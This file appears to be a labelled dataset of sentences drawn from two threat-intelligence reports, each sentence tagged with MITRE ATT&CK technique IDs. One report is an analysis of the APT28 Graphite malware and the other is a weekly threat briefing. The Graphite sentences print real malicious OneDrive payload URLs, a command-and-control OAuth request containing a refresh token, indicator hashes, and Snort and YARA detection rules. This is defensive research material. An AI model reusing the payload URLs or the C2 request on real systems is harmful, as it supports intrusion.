{"sentence": "C:\\ProgramData\\lmapi2.dll,#1 The DLL file lmapi2.dll is a 64-bit PE file with the compiler timestamp Mon Jan 17 08:10:01 2022 | UTC.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "It creates a new thread, in which a new mutex is created with the name 56rd68kow.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "If the mutex doesn’t already exists, the malware makes another request to OneDrive using the following URL: URL https[:]//kdmzlw[.]am[.]files[.]1drv[.]com/y4mv4glUgvW9nl8z8GU71PhPw0oRtve9QpZ0pEgwJN1q_TlGY5yl5Mvkrc5rUh0Uxxknlr1qymWyCbPrkKOFgL4CARScSn9UMhq3c5hSNOQsDOamYLmOfN61lUtQO10vxtn0I7QROJdOtQ42wDsaiACGR5ZrmYwt0SmZkphGWQpT2gOFrsUxjg8_7QT01VTABiGr3T6xpWrTmFT5yu4toQ/DSC0001.jpeg?download\" A new file, again with a JPEG extension (DSC0001.jpeg), is downloaded and decrypted using the RSA and AES Cryptographic Provider from WinCrypt APIs, with a hardcoded public key.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Then, the malware dynamically calls the API NtAllocateVirtualMemory and then writes and executes the decrypted content in the newly allocated memory region.", "labels": ["T1106", "T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Similarly, the imported code dynamically calls VirtualAlloc to allocate a new region of memory in which a new PE file is copied.", "labels": ["T1055"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Finally, it passes the execution to the region of memory in which the copied PE is allocated, as evidence reported following: The code in the injected PE creates another mutex having the name 42Htb600y.", "labels": ["T1055"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The malware proceeds to de-obfuscate strings using a XOR loop and using a different XOR key for each string.", "labels": ["T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The following is an exhaustive list of de-obfuscated strings: DE-OBFUSCATED STRINGS \\\\.\\root\\CIMV2SELECT UUID FROM Win32_ComputerSystemProduct\"WQL”L\"UUID”\"Unknown CLR”L\"pwrshplugin.dll”L\"kernel32.dll”\"RtlGetVersion”\"RtlRandomEx”\"RtlIntegerToUnicodeString”\"RtlDecompressBuffer”\"RtlGetCompressionWorkSpaceSize”\"RtlCompressBuffer”\"RtlComputeCrc32”\"Windows 2000”\"Windows XP”\"Windows XP Professional”\"Windows Server 2003”\"Windows", "labels": ["T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Home Server”\"Windows Server 2003 R2”\"Windows Vista”\"Windows Server 2008”\"Windows Server 2008 R2”\"Windows", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "7”\"Windows Server 2012”\"Windows 8”\"Windows Server 2016”\"Windows 10”\"Unidentified”\"64bit”\"32bit”\"NtQuerySystemInformation”\"GetCLRVersionForPSVersion”\"NtOpenThread”\"NtAllocateVirtualMemory”\"Shell of task = %d ended with code", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "= %d”\"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:87.0) Gecko/20210101 Firefox/87.0”\"User-Agent: “\"chunked”\"access_token”\"refresh_token”\"value”\"file”\"name”\"/v1.0/drive/root:/%s/update/%s:/content”\"/v1.0/drive/root:/%s/check/%s:/content”\"/v1.0/drive/root:/%s/check/%s”\"/v1.0/drive/root:/%s/check:/children”\"/common/oauth2/v2.0/token”\"login.microsoftonline.com\"\"graph.microsoft.com\"\"Content-Type: application/json”\"Content-Type: application/x-www-form-urlencoded”\"Content-Type: application/octet-stream”\"Content-Type: application/xml”\"client_id=%s&redirect_uri=urn:ietf:wg:oauth:2.0:oob&refresh_token=%s&grant_type=refresh_token”\"Authorization: bearer “\"DELETE”“GET”“POST”“PUT”L\"ntdll.dll”L\"secur32.dll”\"NtOpenKey”\"NtQueryValueKey”\"NtSetValueKey”\"NtClose”\"RtlInitUnicodeString”\"RtlFreeUnicodeString”L\"\\\\Registry\\\\Machine\\\\SOFTWARE\\\\Microsoft\\\\Cryptography”L\"MachineGuid”\"Accept: /\"\"Accept-Encoding: gzip, deflate”\"User-Agent: Microsoft skyDriveSync %s ship”L\"\\\\Registry\\\\User\\\\%s\\\\Control Panel\\\\International\\\\User Profile”L\"Recharge”\"RtlConvertSidToUnicodeString”\"WTSQueryUserToken”\"sprintf” C&C COMMUNICATIONS", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The malware communicates with the Command and Control (C&C) through the domain graph[.]Microsoft[.]com, i.e. abusing the Microsoft Graph service, which is the API Web RESTful that provides access to Microsoft Cloud service resources.", "labels": ["T1106"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Hence, the analysis showed that the sample in question is a version of the Graphite malware, a malware using the Microsoft Graph API and OneDrive for C&C communications.", "labels": ["T1106"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The malware is known to be deployed in-memory only and served as a downloader for the post-exploitation frameworks like Empire (as documented by Trellix researchers on early 2022 here).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "To obtain a new OAuth2 token to access the service, the endpoint login[.]microsoftonline[.]com/common/oauth2/v2.0/token is contacted using a fixed client ID (62272a08-fe9d-4825-bc65-203842ff92bc), as evidence below: The following is the full HTTP request to make the first connection to the C&C. HTTP REQUEST POST https://login.microsoftonline.com/common/oauth2/v2.0/token HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET", "labels": ["T1071.001"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "CLR 3.5.30729)Content-Type: application/x-www-form-urlencodedHost: login.microsoftonline.comContent-Length: 459Connection: Keep-AliveCache-Control: no-cacheclient_id=62272a08-fe9d-4825-bc65-203842ff92bc&redirect_uri=urn:ietf:wg:oauth:2.0:oob&refresh_token=M.R3_BAY.-CVmbPSAFzt2n5JiYAwjQRpC6Yh*f45Zsz9XKTHMo4G1ZeR0UDVRbJhp8T7Df*ARh8tTfRKRZZ8YzFEYMRJ!VPP!GJPZsfeTb0SMIF!gXQ0sUli*gTjLrdaTxOnwndJcUIqtbY8D8ZCFI4lC3pEE3KW7ED!svw*kKb1rojgehD1Sa70lDuVa86awTeZrh8lyBh9m9vdudqoqVNLyRpLyHd*di1s2G6ub9MjH9BVoDVrDaqmJvUsMonxqqhqx!iwwU1ptzd1WngCv9BCmVtxgFTJBPR1bJ2Ze17e0N6W3VHZC2FQOOUhu4nQ2Wrj0qLEBowQ$$&grant_type=refresh_token Once obtained a new OAuth2 token, the Graphite malware will query the Microsoft GraphAPIs for new commands by enumerating the child files in the check OneDrive subdirectory.", "labels": ["T1083"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "If a new file is found, the content is downloaded and decrypted through an AES-256-CBCdecryption algorithm.", "labels": ["T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The monitoring of task executions and the uploading of their results is managed through a dedicated thread.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Finally, the malware allows remote command execution by allocating a new region of memory and executing the received shellcode by calling a new dedicated thread.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "CONCLUSIONS", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "According to extracted metadata, attackers worked on the preparation of the campaign between January and February 2022.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "However, both URLs used by attackers appared active even recently (Q3 2022).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "In addition could be interesting to note that, according to the visibility we can dispose of, limited telemetry hits related to the collected artifacts have been catched on 25/08/2022 and 09/09/2022 from two countries of the European Union (we have no data available before 25/08/2022).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Such recent evidence could suggest some sort of activities still ongoing linked to the described threat or to some of its variants.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Finally, based on several indicators, geopolitical objectives and the analyzed artifacts, Cluster25 attributes this campaign to the Russia-linked threat actor known as APT28 (aka Fancy Bear, TSAR Team, Pawn Storm, Sednit) and indicates entities and individuals operating in the defense and government sectors of Europe and Eastern Europe countries as potential targets.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "ATT&CK MATRIX TACTIC TECHNIQUE DESCRIPTION Initial Access T1566.001 Phishing: Spearphishing Attachment Execution T1059.001 Command and Scripting Interpreter:", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "PowerShell Execution T1106 Native API Execution T1204.002 User Execution: Malicious File Persistence T1546.015 Event Triggered Execution: Component Object Model Hijacking Privilege Escalation T1546.015 Event Triggered Execution: Component Object Model Hijacking Defense Evasion T1140 Deobfuscate/Decode Files or Information Defense Evasion T1202 Indirect Command Execution Defense Evasion T1036.005 Masquerading: Match Legitimate Name or Location Defense Evasion T1112 Modify Registry Defense Evasion T1027 Obfuscated Files or Information Defense Evasion T1055.001 Process Injection: Dynamic-link Library Injection Discovery T1082 System Information Discovery Command & Control T1071.001 Application Layer Protocol: Web Protocols INDICATORS OF COMPROMISE CATEGORY TYPE VALUE PAYLOAD MD5 c0060c0741833af67121390922c44f91 PAYLOAD SHA1 622eb93e34445c752eeaa623ef9ac6978e58f2fc PAYLOAD SHA256 d1bceccf5d2b900a6b601c612346fdb3fa5bb0e2faeefcac3f9c29dc1d74838d PAYLOAD MD5 ef1288de782e65d6e5bd6a327157988f PAYLOAD SHA1 a23efb6aa5a242c61c5d50a967a8f29da164c954 PAYLOAD SHA256 be180a7c43734b7125b2d5cea7edd0174811a58113b048f5fe687db52db47fe3 PAYLOAD MD5 2ff3e6c9244ef965295aa60879d1aa6b PAYLOAD SHA1 4c813ad68f2f1da6b2c59d11ad983cfa65e1a187 PAYLOAD SHA256 efa5b49bdd086125b2b7d4058d09566f1db5f183c2a6332c597322f85107667a PAYLOAD MD5 9a915313d02345e149e6ba566fe85c47 PAYLOAD SHA1 9cd7f14d85814c48be3fbf73891415978a7aa882 PAYLOAD SHA256 34aca02d3a4665f63fddb354551b5eff5a7e8877032ddda6db4f5c42452885ad NETWORK DOMAIN 9b5uja[.]am[.]files[.]1drv.com NETWORK DOMAIN kdmzlw[.]am[.]files[.]1drv[.]com NETWORK URL https[:]\\\\9b5uja[.]am[.]files[.]1drv[.]com/y4mpYJ245I931DUGr7BV-dwLD7SReTqFr1N7eQOKSH_ug2G18Jd6i3SRqYqgugj3FA2JQQ7JqclvWH13Br3B5Ux-F6QcqADr-FowC_9PZi1Aj7uckcK8Uix_7ja1tF6C_8-5xYgm6zwjbXsrlEcTEenAyA8BzEaGPudutl1wMDkzVr6Wmn8_qRmYejLgbNoQmPTUe3P5NKFFLRjeeU_JhvA/DSC0002.jpeg?download NETWORK URL https[:]//kdmzlw[.]am[.]files[.]1drv[.]com/y4mv4glUgvW9nl8z8GU71PhPw0oRtve9QpZ0pEgwJN1q_TlGY5yl5Mvkrc5rUh0Uxxknlr1qymWyCbPrkKOFgL4CARScSn9UMhq3c5hSNOQsDOamYLmOfN61lUtQO10vxtn0I7QROJdOtQ42wDsaiACGR5ZrmYwt0SmZkphGWQpT2gOFrsUxjg8_7QT01VTABiGr3T6xpWrTmFT5yu4toQ/DSC0001.jpeg?download\" DETECTION AND THREAT HUNTING SNORT alert tcp any any -> any any (msg:\"Cluster25 APT28 Graphite CnC Communication via client_id\"; content:\"POST\"; http_method;content:\"client_id=62272a08-fe9d-4825-bc65-203842ff92bc\"; http_client_body; fast_pattern; sid:10001;) YARA rule Powerpoint_Code_Execution_87211_00007 {meta:author = \"Cluster25\"description =\"Detects Code execution technique in Powerpoint (Hyperlink and Action)\"hash1 = \"d1bceccf5d2b900a6b601c612346fdb3fa5bb0e2faeefcac3f9c29dc1d74838d\"strings:$magic = {D0 CF 11 E0 A1 B1 1A E1}$s1", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "= \"local.lnk\" fullword wide$s2 = \"lmapi2.dll\" fullword wide$s3 = \"rundll32.exe\" fullword wide$s4 = \"InProcServer32\" fullword wide$s5 = \"DownloadData\" fullword wide$s6 = \"SyncAppvPublishingServer\" fullword widecondition: ($magic at 0) and (all of ($s*)) and filesize < 10MB } YARA rule APT28_Graphite_62333_00028 :", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "RUSSIAN THREAT GROUP {meta:description = \"Detects Fancy Bear Graphite variant through internal strings\"author = \"Cluster25\"tlp = \"white\"hash1 = \"34aca02d3a4665f63fddb354551b5eff5a7e8877032ddda6db4f5c42452885ad\"strings:$ = \"_LL_x64.dll\" fullword ascii$ = \"qqhqx!iwwU1ptzd1WngCv9BCmVtxgFTJBPR1bJ2Ze17e0N6W3VHZC2FQOOUhu4nQ2Wrj0qLEBowQ$$\" ascii$ = \"62272a08-fe9d-4825-bc65-203842ff92bc\" fullword ascii$ = \"%s %04d sp%1d.%1d %s\" fullword asciicondition:uint16(0) == 0x5a4d andfilesize < 100KB andall of them}", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "WTB:", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Remote Mac Exploitation Via Custom URL Schemes url: https://www.anomali.com/blog/wtb-remote-mac-exploitation-via-custom-url-schemes The intelligence in this week’s iteration discuss the following threats: Anonymous, Apache Struts vulnerability, BusyGasper, Cobalt Gang, DarkComet, DDoS, Loki Bot, Spear phishing, and WINDSHIFT APT.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The IOCs related to these stories are attached to the Community Threat Briefing and can be used to check your logs for potential malicious activity.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Trending Threats Remote Mac Exploitation Via Custom URL Schemes (August 30, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "An obscure Advanced Persistent Threat (APT) called WINDSHIFT has been seen exploiting a flaw in macOS to target government institutions in the Middle East in what appears to be the 1st-stage of a 2nd-stage cyber campaign.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This 1st-stage attack is intended to gain initial access into a fully patched macOS system to pave the way for the 2nd-stage attack in the future.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The malware exploits custom URL schemes in the Safari browser to remotely infect macOS targets.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This requires a minimal amount of user interaction, but this can be \"influenced\" by the APT group as needed.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This 1st-stage attack takes advantage of the way macOS registers document handlers and custom URL schemes to automatically unzip a malicious attachment sent via phishing emails in the Safari browser.", "labels": ["T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Once the attachment is automatically unzipped, a malicious application in the attachment is in the filesystem and triggers the registration of a custom URL scheme handler.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The malware can then load the custom URL on the user’s computer so the threat actor can then have access to a system.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Click here for Anomali recommendation MITRE ATT&CK:", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Launch Daemon (T1160)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Double The Infection, Double The Fun (August 30, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The threat group, Cobalt Gang (also known as TEMP.Metastrike), is suspected to be engaging in attacks against financial organizations in several countries.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Researchers at ASERT have observed a new campaign targeting institutions in Romania and Russia utilizing spear phishing emails pretending to be from financial vendors or partners to trick users into opening the malicious attachments in the emails.", "labels": ["T1204.002", "T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The malicious attachments are either a Word document that contains obfuscated VBA scripts or a binary with a JPG extension.", "labels": ["T1027"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Both send information to command and control (C2) servers that are owned by Cobalt Group.", "labels": ["T1041"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] CMSTP (T1191) |", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK]", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Spearphishing Attachment (T1193) Cryptojackers Exploit Critical Apache Struts Flaw (August 30, 2018) Security experts from Volexity have recently seen a critical Apache Strut vulnerability being exploited in the wild to install a popular cryptocurrency miner on targeted machines.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The vulnerability, which is known as CVE-2018-11776, comes from an improper validation of namespace input data, and threat actors have already exploited this to install a CNRig cryptocurrency miner on machines.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Third-party Software (T1072) Anonymous Catalonia Claims DDoS Attack On Bank of Spain Website (August 30, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The hacktivist group, Anonymous Catalonia claimed a Distributed Denial of Service (DDoS) attack on Banco de España which forced the bank’s website to be offline and unusable for two days.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The group claimed the attack via Twitter using the hashtag “TangoDown” to indicate the bank’s hosting server was down globally.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The hacktivist group targeted the bank, amongst others, to protest the arrests of Catalan leaders who took part in the illegal Independence referendum last year.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Banco de España stated that while their website was down, none of their normal functionalities were impacted.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This is a continuation of attacks on various Spanish legal entities following the unsuccessful referendum last year and the so-called “hurting of Catalan people” that this group claims the government is responsible for.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Click here for Anomali recommendation Air Canada Resets 1.7 Million Accounts After App Breach (August 30, 2018) Air Canada issued password resets to over 1.7 million customers using its mobile application following a data breach that affected 20,000 accounts.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Unusual login behavior was detected between August 22 and 24, 2018, and the airline proceeded to block further access.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The data compromised includes: names, email addresses, telephone numbers, and Air Canada Aeroplan account numbers.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The other data compromised in this breach, which is more worrying, includes passport numbers, NEXUS numbers (allows for quicker access over some borders), traveler numbers, gender, date of birth, nationality, passport expiry date, country of issuance, and country of residence.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The airline reports that credit card numbers were encrypted and thus safe from the breach.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Click here for Anomali recommendation BusyGasper – The Unfriendly Spy (August 29, 2018) Security researchers from Kaspersky Lab uncovered a new family of spyware, dubbed “BusyGasper,” that targets Android devices.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Whilst the malware is not too sophisticated, it does have a broad range of commands that it can do, including keylogging every tap, exfiltrate data from messaging applications such as WhatsApp and Viber, and bypasses the Doze battery saver.", "labels": ["T1005", "T1056.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The malware can deliver payloads from the command and control (C2) server which originates from a free Russian web hosting service called Ucoz.", "labels": ["T1105"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This malware is more unusual than most because it appears that the initial attack vector requires the threat actor to physically install the malware on the target’s device, meaning the threat actor needs to actually get a hold of the device somehow.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Due to the close physical proximity to the target device, researchers have only seen fewer than ten victims and they are all located within Russia.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Despite the threat actors gaining access to the victim’s bank account information, it does not appear that the intent of the attack is financially-driven.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Custom Command and Control Protocol (T1094) Loki Bot: On A Hunt For Corporate Passwords (August 29, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Researchers from Kaspersky Labs have discovered a malspam campaign pushing the Loki Bot malware through phishing emails.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The emails have targeted corporate businesses using three possible types of messages to try to get a target to open the email and malicious attachment.", "labels": ["T1204.002", "T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The threat actors either created fake emails from real companies (usually related to money payments/invoices or shipping statements), fake emails containing financial documents to be looked at, or fake emails containing false order statements or offers for providing services.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "If a target opens the malicious attachment, the Loki Bot malware then can assist in the threat actors gaining access to intellectual property, databases, bank account information, system credentials and more.", "labels": ["T1204.002", "T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Spearphishing Attachment (T1193) Microsoft Windows Zero-Day Vulnerability Is Disclosed On Twitter (August 29, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "A Twitter user named “SandboxEscaper” disclosed a zero-day vulnerability in Microsoft Windows.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This vulnerability escalates a flaw in the operating system’s task scheduler’s Advanced Local Procedure Call (ALPC).", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This vulnerability allows for a threat actor to obtain system privileges and currently has no known workarounds for the vulnerability.", "labels": ["T1068"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Microsoft released a statement that it will release a patch for it next month.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "SandboxEscaper attempted to sell the vulnerability on Reddit, but the posts were removed, though it is unclear whether a sale was made before the removal of the posts.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Exploitation for Privilege Escalation (T1068)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "We're All Sick Of Fortnite, But The Flaw Found In Its Downloader Is The Latest Way To Attack Android (August 29, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The Android version of popular game, Fortnite, has been discovered to contain a vulnerability that could allow for a “man-in-the-disk” attack.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This type of attack works by using the ability to read/write data to external storage to gain access to files in the external storage and modify them with malicious data.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "For the Android version of Fortnite, users are required to download the game through a helper application which is then supposed to download the game file for the device.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "A threat actor can use “man-in-the-disk” to get the user to download a malicious “helper application” instead, allowing the threat actor access to the device.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Replication Through Removable Media (T1091) |", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Hardware Additions (T1200) Beware Of Fake \"Shipping Docs\"", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Malspam Pushing The DarkComet RAT (August 28, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Security researcher Vishal Thakur has discovered a malware campaign that sends emails pretending to be related to a shipment notice for the target which contain a malicious attachment.", "labels": ["T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The attachment appears as shipping document that is awaiting to be opened, read through, and approved by the target.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The attachment appears as a .z file and will install the DarkComet RAT.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The attachment, if opened, contains a DarkComet Remote Access Trojan (RAT).", "labels": ["T1204.002"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "DarkComet then allows for threat actors to obtain logs of the infected machine’s keystrokes, application use, and take screenshots, amongst other things.", "labels": ["T1056.001", "T1113"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Remote Access Tools (T1219) CeidPageLock: A Chinese RootKit (August 28, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "A new version of the browser-hijacking rootkit called “CEIDPageLock” has been found being distributed by the RIG Exploit kit by Check Point researchers.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "CEIDPageLock attempts to manipulate a user’s browser and turn their homepage to a Chinese web directory, 2435.com.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This new version of the malware monitors user’s browsing data and replaces the content of popular Chinese sites with the fake homepage of 2345.com.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Threat actors can then monitor what sites victims go to and how long they are on each website to potentially lead targeted advertisement campaigns or sell that information to other companies.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Most of the victims originated in China, however, other victims located in the UK, Taiwan, Hong Kong, the US, Denmark, and Japan were also observed.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "CEIDPageLock is most likely distributed via the RIG’s landing page which exploits a browser vulnerability to gain code execution.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "From there, the malware dropper is downloaded then extracts the driver from within itself and saves it in the “\\\\Windows\\\\Temp” directory with the filename “houzi.sys.”", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The dropper then starts the malicious 32-bit driver that connects to the command and control (C2) hard-coded domains to download the specific 2345.com homepage configuration.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This version of CEIDPageLock has VMProtect, which makes analysis and unpacking difficult and also redirects victims to the specific homepage when they attempt to access specific Chinese websites.", "labels": ["T1027"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Rootkit (T1014) |", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Kernel Modules and Extensions (T1215) |", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Hooking (T1179)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
